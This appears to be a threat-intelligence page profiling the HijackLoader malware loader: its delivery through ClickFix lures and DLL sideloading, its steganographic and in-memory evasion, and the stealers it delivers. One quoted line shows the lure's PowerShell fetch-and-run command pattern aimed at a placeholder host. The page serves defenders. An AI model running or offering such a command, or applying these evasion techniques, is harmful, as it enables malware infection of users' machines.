Loading malware…
HijackLoader, also known as IDAT Loader and sometimes tracked as DOILoader, GHOSTPULSE, or SHADOWLADDER, is a modular Windows malware loader used to stage and execute a wide range of secondary payloads. It is commonly associated with commodity cybercrime operations and malware-as-a-service style delivery chains rather than a single exclusive actor. The loader is notable for hiding encrypted components inside image-like or pseudo-PNG data structures, reconstructing them in memory, and using layered unpacking, shellcode stages, and signed host binaries to evade static analysis and sandboxing.
HijackLoader is frequently delivered through socially engineered infection chains, especially ClickFix or paste-and-run lures that trick users into executing malicious PowerShell commands, as well as spearphishing attachments, malvertising, fake software downloads, and trojanized applications. It has also been observed in DLL sideloading chains that abuse legitimate signed software to launch malicious DLLs and shellcode. Campaigns have used binary bloating, steganographic containers based on PNG IDAT chunks, runtime API resolution, and in-memory assembly of large bundled modules to reduce detection.
The malware’s primary role is to establish execution, evade defenses, and deploy follow-on payloads. Observed behaviors include DLL sideloading, process injection or hollowing, persistence, defense evasion, and post-exploitation staging. HijackLoader has delivered numerous malware families, including information stealers, remote access trojans, banking malware, ransomware precursors, and legacy backdoors. Public reporting has linked it to delivery of payloads such as Vidar, StealC, Remcos, Arechclient2, CryptBot, AsyncRAT, Amadey, DeerStealer, SnappyClient, and re-emergent Carbanak activity. In some campaigns it has served as the modern loader layer preceding deployment of older financially motivated tooling.
HijackLoader is especially associated with Windows-focused intrusion chains targeting business users, financial institutions, and general enterprise victims. It has appeared in campaigns themed as software updates, document verification, CAPTCHA or human-verification prompts, and fake cloud or productivity services. Its modular architecture and broad payload compatibility make it a flexible initial-stage or mid-stage loader in criminal operations, particularly where operators want resilient payload delivery, stealthy in-memory execution, and the ability to swap final malware without changing the outer infection chain.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
4 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
The observed format is consistent with HijackLoader , also tracked as IDATLoader . The IDAT container is therefore not an isolated packer trick. It belongs to a wider modular loader framework that can deploy different components and final payloads depending on its configuration.
The observed format is consistent with HijackLoader , also tracked as IDATLoader . The IDAT container is therefore not an isolated packer trick. It belongs to a wider modular loader framework that can deploy different components and final payloads depending on its configuration.
The infrastructure graph generated from the correlation of indicators identified in the campaign reveals a complex network of relationships... through this, we note similarities with the already well-known “HijackLoader.”
“...EncryptHub added to the game files the HijackLoader malware (CVKRUTNP.exe), which establishes persistence on the victim device and downloads the Vidar infostealer (v9d9d.exe).”
27 distinct techniques documented for this family, organized by ATT&CK tactic.
Rhadamanthys is an infostealer distributed via malspam and malvertising. Google searches for popular software such as Notion return malicious ads. Threat actors are using decoy websites to trick users into downloading malware.
Threat actors are abusing fake Google and Cloudflare verification pages in evolving ClickFix campaigns to socially engineer users into executing malicious commands on their own systems.
Persistence is established through a scheduled task named “WinSvcUpd” that executes whenever users log on.
the output began with tapisrv.dll" … 55 8B EC — raw, position-independent shellcode rather than a PE file
The final command copied by the user usually falls into this pattern: powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”
Threat actors are abusing fake Google and Cloudflare verification pages in evolving ClickFix campaigns to socially engineer users into executing malicious commands on their own systems.
Persistence is established through a scheduled task named “WinSvcUpd” that executes whenever users log on.
The module names expose the frameworks modular design... custom injection. The final carved PE is a legitimate copy of HearthstoneDeckTracker.exe. Its placement within the bundle suggests that it may be used as a host process for the loaders CUSTOMINJECT execution path.
This is a standard way to keep recognizable strings like CreateFileW or VirtualProtect out of the binary
The PowerShell command drops and extracts a large archive (exceeding 120 MB) containing multiple files. This is a well-known binary bloating technique designed to evade static analysis and automated sandbox scanning.
the file is a steganographic container, with its contents stored as a stream of PNG image chunks
The first thing it does is resolve the Windows APIs it needs by carrying a small numeric hash for each API name, walking the export table of kernel32.dll at runtime
The larger physicsdesc.map file is approximately 1.36 MB... The file is not a valid image, but enough of the internal PNG chunk structure is retained for the shellcode to parse it.
The module names expose the frameworks modular design... custom injection. The final carved PE is a legitimate copy of HearthstoneDeckTracker.exe. Its placement within the bundle suggests that it may be used as a host process for the loaders CUSTOMINJECT execution path.
Vidar is decrypted in memory and injected, through process hollowing, into a clean, signed third-party application
The trojanized library then reads an innocuous-looking data file, decrypts it, and produces a block of shellcode
a trusted, signed program loads a malicious library from its own directory, so the attacker’s code ends up running inside a process that every reputation and signature check considers benign
An encoded PowerShell command then leverages Microsoft HTML Application Host (mshta.exe) to download and execute a malicious payload from a remote resource... Detection opportunity: mshta.exe utility making external network connections.
155 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
52 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
HijackLoader6
Loader malware distributed via fake Google and Cloudflare verification pages as part of ClickFix social-engineering campaigns.
A modern loader family used to deliver Carbanak in 2024-2025.
HijackLoader5
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.